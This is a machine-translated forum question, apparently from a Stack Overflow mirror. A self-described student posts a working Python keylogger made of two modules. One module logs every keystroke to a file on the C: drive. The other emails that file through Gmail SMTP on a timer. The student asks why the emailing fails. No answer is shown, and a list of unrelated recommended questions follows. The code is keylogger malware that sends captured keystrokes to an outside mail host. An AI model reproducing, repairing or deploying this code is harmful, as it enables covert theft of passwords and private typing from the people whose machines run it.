python - 发送 python 代码的电子邮件不适用于键盘记录执行代码
问题描述
我是生成 Python 键盘记录程序作为安全项目的学生。
我创建了一个代码来制作键盘记录文件并通过电子邮件自动发送其文件(键盘记录文件)。并且它在没有来自编译器的任何警告的情况下运行,但我无法收到任何电子邮件。
我已经检查了垃圾邮件邮箱,我等待了足够的时间发送电子邮件。只是电子邮件单独发送代码,电子邮件只是在执行代码后立即发送。但使用键盘记录代码,它不起作用(电子邮件不发送)
请告诉我我应该怎么做。
键盘记录.py
from pynput.keyboard import Key, Listener
import logging
import logging.handlers
import os
import time
import datetime
import mailFunc
import threading
if os.path.isdir('C:\\Keylogging') == False:
os.mkdir('C:\\Keylogging')
log_dir = ''
logging.basicConfig(filename=(log_dir + "C:\\Keylogging\\Key.txt"),
level=logging.DEBUG, format='["%(asctime)s". %(message)s]')
def on_press(key):
logging.info('"{0}"'.format(key))
with Listener(on_press = on_press) as listener:
listener.join()
threading.Timer(60.0, mailFunc.autoEmailSend()).start()
mailFunc.py(它发送一封电子邮件)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os
import time
import schedule
def autoEmailSend():
#hided because it is my private information
email_user = '(email id)'
email_password = '(email password)'
email_send = '(email id)
subject = 'Keylogging Auto Report'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Keylogging Report, Time : ' + time.strftime('%c', time.localtime(time.time()))
msg.attach(MIMEText(body,'plain'))
filename='C:\\Keylogging\\Key.txt'
attachment = open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment", filename= os.path.basename(filename))
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,email_password)
server.sendmail(email_user,email_send,text)
server.quit()
print("Mail Sended at " + time.strftime('%c', time.localtime(time.time())))
我还没有多少编程,第一次在这样的论坛上提问题,而且我只是一个学习英语的学生,所以问题可能不熟练。我请求你的理解。
解决方案
推荐阅读
- bash - 为什么`${PATH//\/\/wsl\$+([^:]):/}`执行很慢
- google-cloud-dataflow - 由于 Dataflow 运行器未关闭文件系统编写器,管道继续运行。未实现错误
- r - R中的STAN:线性回归中的尺寸误差
- javascript - 如何仅从 JS 中的字符串变量获取嵌套对象属性?
- java - Hibernate 进行不必要的子查询来获取数据
- mysql - 从多个表中获取同一列以及存在的其他列的值
- python - 在 kivy 标签上生成随机数
- c# - 在 Google Chrome 中提交时网页表单未点击 POST
- ruby - 给定数组的组合将它们排列在不同的数组中,这样就没有双精度数
- r - 比较矩阵的行并选择具有较少 NA 的行